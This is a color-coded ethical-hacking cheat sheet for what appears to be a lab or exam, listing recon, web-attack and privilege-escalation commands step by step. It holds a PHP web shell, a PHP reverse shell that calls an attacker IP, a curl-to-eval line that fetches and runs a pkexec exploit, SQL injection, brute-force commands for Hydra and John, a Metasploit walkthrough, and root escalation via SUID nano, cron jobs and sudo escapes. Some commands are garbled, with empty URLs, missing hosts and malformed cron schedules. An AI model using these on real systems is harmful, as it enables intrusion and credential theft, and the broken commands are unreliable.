Ethical Hacking Cheat Sheet (Color‑Coded)

*Red = command, Purple = input, Green = file content, Blue = take note, Yellow = might be different*

Basic Commands

ip a
ip a → look at eth0, IP address is there with subnet e.g. 10.10.1.2/24 → get network subnet

nmap
nmap 10.10.1.2/24 → scan network subnet (ignore your own IP and gateway, usually 10.10.1.1)
Mock test: target IP 10.10.1.3, output shows HTTP and SSH ports open

nmap -A
nmap -A 10.10.1.3 → aggressive scan to get all details

ssh
ssh username@ip_address → SSH into target (you can then run vim)

Web Stuff (HTTP)

If HTTP is open (port 80):
Open Firefox and connect to http://10.10.1.3

Directory brute‑force
gobuster dir -u http:// -w /usr/share/wordlists/dirb/common.txt → find directories/files like /admin, hidden zip/txt files, check for robots.txt (sometimes secret stuff is there)

WPScan – enumerate
wpscan --url http:// -e u,vp,vt → enumerate WordPress users, themes, plugins

WPScan – brute‑force passwords
wpscan --url http:// -U -P /usr/share/wordlists/metasploit/unix_passwords.txt

Nikto
nikto -h http:// → vulnerability scanner (outdated server versions, exposed files, CVEs)

LFI (Local File Inclusion)

If you see PHP code like:
$file = $_GET['file']; include($file);

Enter in browser:
http:///?file=/etc/passwd → gives access to usernames

Then brute‑force the password and SSH in.

SQL Injection

Sometimes entering admin' # into an admin login username field changes the query to comment out the password → login without password.

PHP Shell Injection (via upload)

Upload a PHP file containing:
<?php echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; ?>

After upload, go to:
http:///path/to/shell.php?cmd=ls (or cat, etc.)

FTP

If FTP is open (port 21):
ftp 10.10.1.3 → try anonymous login: username anonymous, password (leave blank).

SQLMap

sqlmap -u "http://" --batch &crawl=3
sqlmap -u "http://" --dbs &crawl=3
sqlmap -u "http://" -D --dump &crawl=3

Crack the MD5 hashes of passwords dumped from the ssh_users table (e.g., with John the Ripper or Hashcat).

PHP Reverse Shell

Listener (attacker)
nc -lvnp 4444

PHP shell (if you can upload .php)
Save the following as shell.php (you can also get from https://github.com/pentestmonkey/php-reverse-shell): 

<?php
// Set your attacker IP and port here
$ip = '<attacker_ip>'; 
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

Upload and browse to http:///path/to/shell.php → you get a reverse shell.

Stabilising the shell

  1. In the reverse shell:
    python3 -c 'import pty; pty.spawn("/bin/bash")'

  2. Background it: press Ctrl + Z

  3. On your local Kali terminal:
    stty raw -echo; fg
    (Press Enter twice after this – normal to refresh the prompt)

  4. Inside the reverse shell:
    export TERM=xterm

Crack SSH Passphrase (Private Key)

<span style="color:red">cd .ssh</span>
<span style="color:red">cat id_rsa</span>

Copy the entire RSA key (from —BEGIN RSA PRIVATE KEY— to —END RSA PRIVATE KEY—) into a file, e.g. id_rsa.copy.
Then crack with John:

john --wordlist=/usr/share/wordlists/metasploit/unix_passwords.txt id_rsa.copy

To show cracked password:

john --show id_rsa.copy

John the Ripper – Password Cracking

Bruteforce a shadow/file:

john --wordlist=/usr/share/wordlists/metasploit/unix_passwords.txt output.txt

Show cracked passwords:

john --show output.txt

Metasploit Usage

  1. Start Metasploit console:
    msfconsole

  2. Search for WordPress AJAX load more file upload exploit:
    search wp_ajax_load_more

  3. Select the exploit (use the number shown or full path):
    use exploit/unix/webapp/wp_ajax_load_more_file_upload

  4. Show required options:
    show options

  5. Set options (adjust as needed):
    set RHOSTS
    set RPORT
    set LHOST
    set WP_USERNAME
    set WP_PASSWORD

  6. Before exploiting, log in to the WordPress site manually and confirm the email notification (if any) is correct.

  7. Run the exploit:
    exploit

Hydra – SSH Brute‑Force

hydra -l username -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh

Privilege Escalation

Kernel Exploit (example)

  1. Download exploit source (e.g., from Exploit-DB).
  2. Save as exploit.c.
  3. Compile:
    gcc exploit.c -o exploit
  4. Run:
    ./exploit

If gcc is not available, use a pure‑Python exploit (e.g., for CVE‑2021‑4034):
python3 cve-2021-4034.py

SUID Binaries

Find all SUID/SGID binaries:
find / -type f -perm -04000 -ls 2>/dev/null

Check https://gtfobins.org/ for known exploits.

Example – pkexec (CVE‑2021‑4034):
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

Alternative pure‑Python:
python3 /path/to/CVE-2021-4034.py

If a binary like nano has SUID:
1. Create a password hash for “password1” (example):
openssl passwd -1 password1
(outputs something like $1$...$hash)
2. Use nano (SUID) to edit /etc/passwd and replace a user’s password field with the hash.
3. Then switch user: su → you now have root.

Cron Jobs

View system cron:
cat /etc/crontab

Common schedules:
- Every minute: * * *
- Every 5 minutes: /5 * * *
- Every hour, on the hour: 0 * * *
- Every day at 2:30 AM: 30 2 * *
- Every weekday at midnight: 0 0 * * 1-5
- Twice daily (noon & midnight): 0 0,12 * * *

If a cron job runs a script you can edit (e.g., /opt/backup.sh), replace its content with a reverse shell or add a line to spawn one, then wait for execution.

sudo Misconfigurations

Check what you can run as root:
sudo -l

Examples:
- If you can run sudo apt-get update with a pre‑invoke hook:
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash"
- If you can run sudo time:
sudo time /bin/bash
- If you can run sudo nano:
1. Open nano with sudo.
2. Press Ctrl + R to read a file, then Ctrl + X to exit.
3. At the prompt, type: reset; sh 1>&0 2>&0 and press Enter → you get a root shell.

Notes & Tips

End of cheat sheet.